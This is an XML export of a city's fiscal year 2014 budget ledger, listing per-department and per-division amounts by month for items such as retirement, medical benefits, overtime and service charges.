<row _id="10475"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2180595.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>19663</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2200258.0</total></row>
<row _id="10476"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511745.0</object><object_description>MED TRUST - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10539.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10539.0</total></row>
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<row _id="10478"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>234707.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>955</december><january>2633.97</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>238295.97</total></row>
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<row _id="10506"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>576.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>576.0</total></row>
<row _id="10507"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13752.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>1738</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15490.0</total></row>
<row _id="10508"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-118000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-118000.0</total></row>
<row _id="10509"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10317.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10317.0</total></row>
<row _id="10510"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>538.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>538.0</total></row>
<row _id="10511"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>82941.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>614</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>83555.0</total></row>
<row _id="10512"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>409.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>409.0</total></row>
<row _id="10513"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="10514"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="10515"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1850.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1850.0</total></row>
<row _id="10516"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1006377.0</july><august>0</august><september>0</september><october>0</october><november>60.0</november><december>14268</december><january>-2330.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1018375.0</total></row>
<row _id="10517"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1575.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1575.0</total></row>
<row _id="10518"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17305.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17305.0</total></row>
<row _id="10519"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>696.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>696.0</total></row>
<row _id="10520"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>577970.0</object><object_description>INSURANCE ADMIN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>61500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61500.0</total></row>
<row _id="10521"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404930.0</object><object_description>SALE OF COMPOSTING BINS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6045.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6045.0</total></row>
<row _id="10522"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1051.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1051.0</total></row>
<row _id="10523"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="10524"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>39656.18</june><total>39656.18</total></row>
<row _id="10525"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>31285.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31285.0</total></row>
<row _id="10526"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>403460.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>6011</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>409471.0</total></row>
<row _id="10527"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1296.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1296.0</total></row>
<row _id="10528"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402110.0</object><object_description>AIRPORT - HANGAR RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-193135.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-193135.0</total></row>
<row _id="10529"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5437.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>64</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5501.0</total></row>
<row _id="10530"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3799.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3799.0</total></row>
<row _id="10531"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6919.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>424</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7343.0</total></row>
<row _id="10532"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>77314.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77314.0</total></row>
<row _id="10533"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5900.0</total></row>
<row _id="10534"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14868.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14868.0</total></row>
<row _id="10535"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>706981.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>706981.0</total></row>
<row _id="10536"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6097.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6097.0</total></row>
<row _id="10537"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>46814.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46814.0</total></row>
<row _id="10538"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3725.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3725.0</total></row>
<row _id="10539"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4581268.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4581268.0</total></row>
<row _id="10540"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>277021.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>277021.0</total></row>
<row _id="10541"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>106560.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1719</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>108279.0</total></row>
<row _id="10542"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>403950.0</object><object_description>EPA WATER SYS IMPROV GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-267837.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-267837.0</total></row>
<row _id="10543"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>579240.0</object><object_description>CIVIC PARKING BOND DEBT SERVIC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2551582.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2551582.0</total></row>
<row _id="10544"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1026.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1026.0</total></row>
<row _id="10545"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>30073.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>443</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30516.0</total></row>
<row _id="10546"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>235515.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>8422</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>243937.0</total></row>
<row _id="10547"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>11</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1011.0</total></row>
<row _id="10548"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5545.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5545.0</total></row>
<row _id="10549"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9058.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9058.0</total></row>
<row _id="10550"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14161.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>121</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14282.0</total></row>
